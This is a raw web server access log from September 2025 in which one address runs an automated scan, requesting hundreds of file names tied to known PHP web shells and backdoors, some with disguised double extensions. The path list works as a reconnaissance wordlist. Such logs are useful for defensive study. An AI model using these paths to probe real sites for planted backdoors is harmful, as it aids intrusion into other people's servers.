196.251.80.56 - - [23/Sep/2025:15:46:20 -0400] "GET /smd2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:04 -0400] "GET /spa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:17 -0400] "GET /ssi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:18 -0400] "GET /stattus.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:21 -0400] "GET /stocks.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:26 -0400] "GET /styles.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:28 -0400] "GET /su.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:49 -0400] "GET /sx2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:59 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:04 -0400] "GET /sym404.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:16 -0400] "GET /system_bin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:21 -0400] "GET /t0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:24 -0400] "GET /tabligh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:29 -0400] "GET /tag_infofz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:33 -0400] "GET /tag_license.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:37 -0400] "GET /tai.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:41 -0400] "GET /taniaa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:49 -0400] "GET /tc.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:53 -0400] "GET /tcmoon450px.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:07 -0400] "GET /tegar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:13 -0400] "GET /telo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:25 -0400] "GET /tes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:29 -0400] "GET /tesla41tx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:33 -0400] "GET /teslav4-1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:39 -0400] "GET /teslaxaqil.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:08 -0400] "GET /thunderrrr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:13 -0400] "GET /tiara.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:28 -0400] "GET /tmp-file.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:31 -0400] "GET /tmp.php.PhP HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:36 -0400] "GET /tmp3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:41 -0400] "GET /tobi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:43 -0400] "GET /toc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:45 -0400] "GET /tod.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:47 -0400] "GET /tom346ERGH.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:51 -0400] "GET /tonton.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:59 -0400] "GET /trinity.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:06 -0400] "GET /ttcl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:12 -0400] "GET /turshel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:17 -0400] "GET /turu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:21 -0400] "GET /twinky.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:25 -0400] "GET /txid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:29 -0400] "GET /u.php.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:42 -0400] "GET /ucen.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:53 -0400] "GET /ucensundanese.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:18 -0400] "GET /umi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:20 -0400] "GET /un.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:27 -0400] "GET /unsiq.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:34 -0400] "GET /uol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:41 -0400] "GET /up.png.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:44 -0400] "GET /up1k.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:37 -0400] "GET /solid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:42 -0400] "GET /someone.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:47 -0400] "GET /sosis.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:51 -0400] "GET /sosm1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:56 -0400] "GET /sound.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:09 -0400] "GET /spi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:12 -0400] "GET /spidy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:24 -0400] "GET /stress.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:30 -0400] "GET /supermacyy.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:32 -0400] "GET /supers.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:34 -0400] "GET /sut.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:38 -0400] "GET /swekey-db.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:42 -0400] "GET /swp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:46 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:47:53 -0400] "GET /sxc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:07 -0400] "GET /synk1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:11 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:45 -0400] "GET /tb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:48:56 -0400] "GET /te.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:00 -0400] "GET /team152m.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:03 -0400] "GET /teev.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:20 -0400] "GET /tes%20(salin%201).phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:44 -0400] "GET /test.php.png HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:50 -0400] "GET /test2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:49:57 -0400] "GET /testShel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:01 -0400] "GET /thedemon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:19 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:23 -0400] "GET /tmb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:33 -0400] "GET /tmp.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:38 -0400] "GET /tn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:50:55 -0400] "GET /tricksy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:02 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:10 -0400] "GET /ttt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:32 -0400] "GET /ubsi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:36 -0400] "GET /ubt.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:39 -0400] "GET /ubt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:46 -0400] "GET /ucen.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:49 -0400] "GET /ucenshellv3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:51:57 -0400] "GET /udin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:01 -0400] "GET /uh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:05 -0400] "GET /uhuy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:09 -0400] "GET /um.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:14 -0400] "GET /umc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:46 -0400] "GET /upa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:51 -0400] "GET /update-sec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:55 -0400] "GET /update-sec.png.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:06 -0400] "GET /upgrade-inc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:10 -0400] "GET /uph.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:22 -0400] "GET /upload.phtml.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:31 -0400] "GET /uploadshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:34 -0400] "GET /uploadv1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:37 -0400] "GET /uploder.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:42 -0400] "GET /upnew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:59 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:05 -0400] "GET /uy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:08 -0400] "GET /uye.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:12 -0400] "GET /v.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:52:59 -0400] "GET /updater.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:14 -0400] "GET /upl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:18 -0400] "GET /upload.php.pdf HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:25 -0400] "GET /upload1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:46 -0400] "GET /ups.php.pdf HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:49 -0400] "GET /user_log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:53:54 -0400] "GET /user_login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:16 -0400] "GET /v1s.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:20 -0400] "GET /v2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:32 -0400] "GET /v30.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:43 -0400] "GET /vb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:49 -0400] "GET /venom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:53 -0400] "GET /vf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:55:00 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:55:12 -0400] "GET /voldshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:55:20 -0400] "GET /vouu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:55:58 -0400] "GET /w2o.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:02 -0400] "GET /w3bsh3ll.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:05 -0400] "GET /w7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:12 -0400] "GET /wanna2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:16 -0400] "GET /wans.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:19 -0400] "GET /wasd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:21 -0400] "GET /waychild.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:25 -0400] "GET /wci-shell-403.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:27 -0400] "GET /weak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:33 -0400] "GET /webhertprojects.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:37 -0400] "GET /webr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:42 -0400] "GET /webshll2019.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:57 -0400] "GET /wellss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:00 -0400] "GET /wepe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:07 -0400] "GET /whatsapp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:10 -0400] "GET /why.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:17 -0400] "GET /wkwk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:23 -0400] "GET /woke.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:26 -0400] "GET /wol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:29 -0400] "GET /woow.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:36 -0400] "GET /wordprres.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:53 -0400] "GET /wp-.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:13 -0400] "GET /wp-ads.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:21 -0400] "GET /wp-autopost-options.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:24 -0400] "GET /wp-backup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:45 -0400] "GET /wp-ghost.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:49 -0400] "GET /wp-images.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:56 -0400] "GET /wp-logen.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:00 -0400] "GET /wp-lowww.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:06 -0400] "GET /wp-mails.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:09 -0400] "GET /wp-mass.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:13 -0400] "GET /wp-moreglory.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:25 -0400] "GET /wp-read.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:31 -0400] "GET /wp-rss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:38 -0400] "GET /wp-scope.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:43 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:26 -0400] "GET /v3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:38 -0400] "GET /vasxvii.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:47 -0400] "GET /vb.php1 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:54:56 -0400] "GET /views.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:55:06 -0400] "GET /viperz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:55:32 -0400] "GET /vuln.php3.j HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:55:38 -0400] "GET /vyolin.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:55:53 -0400] "GET /w00.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:55:55 -0400] "GET /w0rk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:08 -0400] "GET /wahid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:10 -0400] "GET /wan.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:23 -0400] "GET /wc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:30 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:40 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:44 -0400] "GET /webz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:46 -0400] "GET /webz2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:48 -0400] "GET /weeso.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:56:52 -0400] "GET /weevely.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:02 -0400] "GET /wew.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:05 -0400] "GET /wew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:09 -0400] "GET /white.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:14 -0400] "GET /wild.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:20 -0400] "GET /woi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:33 -0400] "GET /wordfenceWaF1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:39 -0400] "GET /wordxew342dprres.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:43 -0400] "GET /work.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:48 -0400] "GET /woy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:57:59 -0400] "GET /wp-about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:04 -0400] "GET /wp-accounts.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:08 -0400] "GET /wp-adm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:18 -0400] "GET /wp-alfa1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:28 -0400] "GET /wp-concue.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:33 -0400] "GET /wp-cron-simple.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:38 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:38 -0400] "GET /wp-fgi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:42 -0400] "GET /wp-from.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:58:52 -0400] "GET /wp-jr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:17 -0400] "GET /wp-o.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:21 -0400] "GET /wp-policy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:56 -0400] "GET /wp-shell.php HTTP/1.1" 301 795 "-" "-"
206.189.247.132 - - [23/Sep/2025:15:59:58 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:15:59:59 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:15:59:46 -0400] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:59:50 -0400] "GET /wp-shelby.php HTTP/1.1" 301 795 "-" "-"
3.8.4.18 - - [23/Sep/2025:15:59:58 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:15:59:59 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:16:00:15 -0400] "GET /wp-space.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:18 -0400] "GET /wp-storage.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:22 -0400] "GET /wp-systems.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:32 -0400] "GET /wp-track.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:41 -0400] "GET /wp-upload-shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:45 -0400] "GET /wp-users.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:48 -0400] "GET /wp-z.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:58 -0400] "GET /wpupdate.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:01 -0400] "GET /wrdanrhyn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:06 -0400] "GET /ws0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:10 -0400] "GET /wso-backdoor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:19 -0400] "GET /wso425.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:23 -0400] "GET /wso_2.5_shell.php.Php.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:28 -0400] "GET /wsoedit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:36 -0400] "GET /wsoland.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:39 -0400] "GET /wsopriv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:43 -0400] "GET /wss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:48 -0400] "GET /wtf-public-sever-LOOL.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:56 -0400] "GET /x91.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:00 -0400] "GET /x_profiles.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:12 -0400] "GET /xdc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:19 -0400] "GET /xhani.php2 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:22 -0400] "GET /xi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:26 -0400] "GET /xid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:47 -0400] "GET /xlxlxlxlxlxlxlxl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:50 -0400] "GET /xmail.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:55 -0400] "GET /xmlrpcc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:13 -0400] "GET /xp7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:28 -0400] "GET /xs[1].php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:33 -0400] "GET /xsid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:36 -0400] "GET /xstro0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:43 -0400] "GET /xxc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:59 -0400] "GET /ya.php6 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:06 -0400] "GET /ye.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:12 -0400] "GET /yhk4un9l4y.php HTTP/1.1" 301 795 "-" "-"
